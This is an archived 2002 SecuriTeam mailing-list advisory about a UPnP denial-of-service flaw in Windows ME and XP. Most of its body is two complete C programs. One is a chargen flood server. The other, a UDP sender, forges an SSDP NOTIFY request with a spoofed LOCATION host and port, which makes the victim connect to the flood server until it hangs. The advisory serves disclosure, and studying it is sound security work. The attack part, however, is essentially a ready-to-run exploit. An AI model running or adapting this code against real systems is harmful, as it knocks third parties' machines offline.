

Securiteam: [EXPL] UPNP Denial of Service (Joint code, Chargen, Initiator)

[EXPL] UPNP Denial of Service (Joint code, Chargen, Initiator)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-01/0080.html>

From: support@securiteam.com

Date: 01/16/02

From: support@securiteam.com

To: list@securiteam.com

Date: Wed, 16 Jan 2002 19:30:02 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> – Know that you're safe.

UPNP Denial of Service (Joint code, Chargen, Initiator)

SUMMARY

A code baseline to test the UPNP DoS has been released. The DoS consists in sending a UDP packet to port 1900 with a NOTIFY request. This request has a URL that XP uses to open a TCP connection. Windows XP does not sanitize this request so whatever URL and port could be specified. Once the TCP connection is opened, a Chargen code fills the XP memory and the machine gets into an unstable state with a 100% of CPU utilization.

DETAILS

Exploit:

Chargen.c:

```
/* * Chargen Server
*
* Run: ./chargen <chargen_port>
*
*
* Author: Gabriel Maggiotti, Fernando Oubi?a
* Email: gmacgiot@ciudad.com.ar, foubina@qb0x.net
* Webpage: http://qb0x.net
*/
```

Securiteam: [EXPL] UPNP Denial of Service (Joint code, Chargen, Initiator)

```
#include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <sys/types.h>
#include <netinet/in.h> #include <sys/socket.h> #include <sys/wait.h> #include <malloc.h>

#define BACKLOG 5 #define MAX 500

int main(int argc, char *argv[]) { int visit=1; int i; int port; int sockfd; int newfd; int numbytes; char
buf[MAX]; char diedbuf[1024]; struct sockaddr_in my_addr; struct sockaddr_in their_addr; int sin_size;
if(argc!=2) { fprintf(stderr,"usage: %s <chargen_port>\n",argv[0]); return 1; } port=atoi(argv[1]); if(
(sockfd=socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("socket"); exit(1); }
my_addr.sin_family=AF_INET; my_addr.sin_port=htons(port);
my_addr.sin_addr.s_addr=htonl(INADDR_ANY); bzero( &(my_addr.sin_zero),8); if( bind(sockfd, (struct
sockaddr *) &my_addr, sizeof(struct sockaddr) ) == -1) { perror("bind"); exit(1); } if( listen(sockfd,
BACKLOG) == -1) { perror("listen"); exit(1); } for(i=0;i<1024;i++) diedbuf[i] = 'q'; while(1) {
sin_size=sizeof( struct sockaddr_in); if( (newfd=accept(sockfd,(struct sockaddr*)&their_addr, \ &sin_size))==
-1) { perror("accept"); exit(1); } printf("Visit number: %d\n",visit++); if(!fork()) { int i=1; if(
(numbytes=recv(newfd,buf,MAX,0))==-1 ) { perror("recv"); exit(1); } buf[numbytes]='\0';
printf("%s\n",buf); while(1) { if(send(newfd,diedbuf,1024,0) ==-1) { perror("send"); exit(0); } } }
close(newfd); } -----
```

```
UPNP_UDP.c: ----- /* * WinME/XP UPNP DOS * * ./upnp_udp <remote_hostname> <spoofed_host>
<chargen_port> * * Authors: Gabriel Maggiotti, Fernando Oubi?a * Email: gmaggiot@ciudad.com.ar,
foubina@qb0x.net * Webpage: http://qb0x.net */
```

```
#include <stdio.h> #include <string.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include
<netdb.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/wait.h>
#include <unistd.h> #include <fcntl.h>
```

```
#define MAX 1000 #define PORT 1900
```

```
char *str_replace(char *rep, char *orig, char *string) { int len=strlen(orig); char buf[MAX]=""; char
*pt=strstr(string,orig); strncpy(buf,string, pt-string ); strcat(buf,rep); strcat(buf,pt+strlen(orig));
strcpy(string,buf); return string; }
```

```
/*-----*/
```

```
int main(int argc,char *argv[]) { int sockfd,i; int numbytes; int num_socks; int addr_len; char
recv_buffer[MAX]=""; char send_buffer[MAX]= "NOTIFY * HTTP/1.1\r\nHOST:
239.255.255.250:1900\r\n" "CACHE-CONTROL: max-age=1\r\nLOCATION:
http://www.host.com:port/\r\n" "NT: urn:schemas-upnp-org:device:InternetGatewayDevice:1\r\n" "NTS:
ssdp:alive\r\nSERVER: QBOX/201 UPnP/1.0 prout/1.1\r\n" "USN: uuid:QBOX\r\n\r\n\r\n"; char
*aux=send_buffer; struct hostent *he; struct sockaddr_in their_addr; if(argc!=4) { fprintf(stderr,"usage:%s
<remote_hostname> \" \"<spoofed_host> <chargen_port>\n",argv[0]); exit(1); }
aux=str_replace(argv[2],"www.host.com",send_buffer); aux=str_replace(argv[3],"port",send_buffer);
if((he=gethostbyname(argv[1]))==NULL) { perror("gethostbyname"); exit(1); } if(
(sockfd=socket(AF_INET,SOCK_DGRAM,0)) == -1) { perror("socket"); exit(1); }
their_addr.sin_family=AF_INET; their_addr.sin_port=htons(PORT); their_addr.sin_addr=*((struct
in_addr*)&he->h_addr); bzero(&(their_addr.sin_zero),8); if(
(numbytes=sendto(sockfd,send_buffer,strlen(send_buffer),0, \ (struct sockaddr *)&their_addr, sizeof(struct
sockaddr))) ==-1) { perror("send"); exit(0); } close(sockfd); return 0; } -----
```

ADDITIONAL INFORMATION

[EXPL] UPNP Denial of Service (Joint code, Chargen, Initiator)

Securiteam: [EXPL] UPNP Denial of Service (Joint code, Chargen, Initiator)

The information has been provided by <mailto:gmaggiotti@biycsa.com.ar> Gabriel Maggiotti.

=====

This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[\[NT\] Internet Explorer Clipboard Stealing Vulnerability](#)"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)